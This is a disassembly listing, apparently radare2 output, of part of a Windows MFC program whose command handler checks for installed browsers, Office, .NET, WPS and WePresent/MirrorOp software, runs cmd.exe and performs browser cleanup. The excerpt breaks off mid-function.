lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x340]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1210]
lea rcx, [rsp + 0x340]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x340]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1210]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x1218]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400e32f0
nop
lea rcx, [rsp + 0x340]
jmp 0x14009d7a2
lea rdx, str.createRestorePoint
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a0407
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x348]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x348]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + reloc.mfc140u.dll_CRenderTarget::FillOpacityMask]
lea rcx, [rsp + 0x348]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x348]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CRenderTarget::FillOpacityMask]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x140166320]
lea rcx, [rsp + reloc.mfc140u.dll_AfxRegDeleteKey]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CMFCZoomKernel::Filter]
call fcn.1400fe460
nop
lea r8, [rsp + reloc.mfc140u.dll_AfxRegDeleteKey]
mov rdx, rax
lea rcx, [rsp + 0x1228]
call fcn.140006490
nop
lea r8, [rsp + 0x348]
mov rdx, rax
lea rcx, [rsp + 0x938]
call fcn.140006490
nop
lea rcx, [rsp + 0x1228]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CMFCZoomKernel::Filter]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + reloc.mfc140u.dll_AfxRegDeleteKey]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x14016c7f8]
lea rcx, [rsp + 0x930]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x938]
lea rdx, [rsp + 0x930]
lea rcx, [rsp + 0x1238]
call fcn.140006490
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r9, rax
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rsp + 0x1238]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x930]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov ecx, 0x2ee0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x938]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x348]
jmp 0x14009d7a2
lea rdx, str.isFirefoxinstalled
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a04a5
lea rdx, str.C:Program_FilesMozilla_Firefox_firefox.exe
lea rcx, [rsp + reloc.mfc140u.dll_CD2DRadialGradientBrush::CD2DRadialGradientBrush]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + reloc.mfc140u.dll_CD2DRadialGradientBrush::CD2DRadialGradientBrush]
lea rcx, [rsp + 0x1240]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
jne 0x1400a048f
lea rdx, str.C:Program_Files__x86_Mozilla_Firefox_firefox.exe
lea rcx, [rsp + reloc.mfc140u.dll_CD2DRadialGradientBrush::CD2DRadialGradientBrush]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rdx, [rsp + reloc.mfc140u.dll_CD2DRadialGradientBrush::CD2DRadialGradientBrush]
lea rcx, [rsp + 0x1248]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
setne sil
jmp 0x1400a0492
mov sil, 1
lea rcx, [rsp + reloc.mfc140u.dll_CD2DRadialGradientBrush::CD2DRadialGradientBrush]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.isGooglechromeinstalled
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a054b
lea rdx, str.C:Program_Files__x86_GoogleChromeApplicationchrome.exe
lea rcx, [rsp + 0x448]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x448]
lea rcx, [rsp + 0x1250]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
jne 0x1400a0535
lea rdx, str.C:Program_FilesGoogleChromeApplicationchrome.exe
lea rcx, [rsp + 0x448]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rdx, [rsp + 0x448]
lea rcx, [rsp + 0x1258]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
setne sil
jmp 0x1400a0538
mov sil, 1
lea rcx, [rsp + 0x448]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.isOfficeInstalled
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a0658
xor sil, sil
lea rdx, [r15 + 0x248]
lea rcx, [rsp + 0x940]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x458]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, str.skype
lea rcx, [rsp + 0x940]
call fcn.14000d8d0
lea rcx, [rsp + 0x458]
test al, al
lea rdx, str.HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp_PathsLync.EXEPath
jne 0x1400a05be
lea rdx, str.HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp_PathsOUTLOOK.EXEPath
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rcx, [rsp + 0x450]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, [rsp + 0x458]
lea rcx, [rsp + 0x1260]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
lea rdx, [rsp + 0x450]
mov rcx, rax
call fcn.1400f1420
test eax, eax
jne 0x1400a0627
lea rcx, [rsp + 0x450]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rcx, [rsp + 0x450]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::HitTest]
movzx esi, sil
mov edi, 1
test al, al
cmove esi, edi
lea rcx, [rsp + 0x450]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x458]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x940]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.openSilently
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a0748
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x350]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1268]
lea rcx, [rsp + 0x350]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x350]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1268]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x1270]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1278]
call fcn.1400fc5a0
lea rcx, [rsp + 0x1278]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x350]
jmp 0x14009d7a2
lea rdx, str.checkDotNetIsInstalled
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a083f
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x958]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x958]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
lea rdx, str.reg_query__HKLMSOFTWAREMicrosoftNet_Framework_SetupNDP___s
lea rcx, [rsp + 0x950]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x950]
lea rcx, [rsp + 0x1280]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x948]
call fcn.1400fc5a0
xor r8d, r8d
lea rdx, str.Version____REG_SZ____2.0.50727.4927
lea rcx, [rsp + 0x948]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
setns sil
lea rcx, [rsp + 0x948]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x950]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x958]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.isMSIInstaller
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a0955
mov sil, 1
lea rdx, [r15 + 0x248]
lea rcx, [rsp + 0x960]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CDockingManager::CDockingManager]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, str.skype
lea rcx, [rsp + 0x960]
call fcn.14000d8d0
lea rcx, [rsp + reloc.mfc140u.dll_CDockingManager::CDockingManager]
test al, al
lea rdx, str.HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp_PathsLync.EXEPath
jne 0x1400a08aa
lea rdx, str.HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp_PathsOUTLOOK.EXEPath
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rcx, [rsp + 0x358]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, [rsp + reloc.mfc140u.dll_CDockingManager::CDockingManager]
lea rcx, [rsp + 0x1288]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
lea rdx, [rsp + 0x358]
mov rcx, rax
call fcn.1400f1420
test eax, eax
jne 0x1400a0921
lea rcx, [rsp + 0x358]
call qword [sym.imp.mfc140u.dll_CPngImage::LoadFromBuffer]
lea rcx, [rsp + 0x358]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
xor r8d, r8d
lea rdx, str.root
lea rcx, [rsp + 0x358]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a0924
xor sil, sil
lea rcx, [rsp + 0x358]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CDockingManager::CDockingManager]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x960]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.isWPSInstalled
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a09fa
lea rdx, str.C:Program_Files__x86_WPS_InteractiveWPS_Interactive.exe
lea rcx, [rsp + 0x468]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x468]
lea rcx, [rsp + reloc.mfc140u.dll_CPaneDivider::FindPaneContainer]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
jne 0x1400a09e4
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x468]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x468]
lea rcx, [rsp + 0x1298]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
movzx esi, al
lea rcx, [rsp + 0x468]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.isWePresentInstalled
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a0b65
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x12a0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x12a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + reloc.mfc140u.dll_CUserToolsManager::FindTool]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CUserToolsManager::FindTool]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov edx, 1
lea rcx, [rsp + 0x50]
call fcn.14009c080
test al, al
je 0x1400a0add
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.C:Program_Files__x86_MirrorOpMirrorOp.exe
lea rcx, [rsp + 0x470]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x12b0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
jne 0x1400a0b4f
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x470]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x12b8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
movzx esi, al
lea rcx, [rsp + 0x470]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.isFileExists
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a0c73
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + reloc.mfc140u.dll_CInternetFile::Flush]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CInternetFile::Flush]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x12c8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x12c8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x12d0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
jne 0x1400acb8f
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x12d8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
jmp 0x1400acb8f
lea rdx, str.BrowserCleanup
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a1080
lea rcx, [rsp + 0x258]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x12e0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x12e0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x40
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
test eax, eax
jns 0x1400a0d28
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x12e8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x12e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14016bf98]
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a0e49
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x12f0]
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x12f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x12f8]
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0xd8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x12f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x258]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rdx, str.InternetExplorer
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a0ecc
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1300]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov r8, rax
xor edx, edx
lea rcx, [rsp + 0x5050]
call fcn.140084f40
nop
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x1308]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
lea rcx, [rsp + 0x5050]
call fcn.1400b74b0
lea rcx, [rsp + 0x5050]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
mov rbx, rax
lea rcx, [rsp + 0x5050]
call fcn.140085050
jmp 0x1400a1057
lea rdx, str.GoogleChrome
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a0f4f
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1310]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov r8, rax
xor edx, edx
lea rcx, [rsp + 0x56c0]
call fcn.140084f40
nop
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x1318]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
lea rcx, [rsp + 0x56c0]
call fcn.1400b74b0
lea rcx, [rsp + 0x56c0]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
mov rbx, rax
lea rcx, [rsp + 0x56c0]
call fcn.140085050
jmp 0x1400a1057
lea rdx, str.MozillaFirefox
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a0fd2
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1320]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov r8, rax
xor edx, edx
lea rcx, [rsp + 0x5d30]
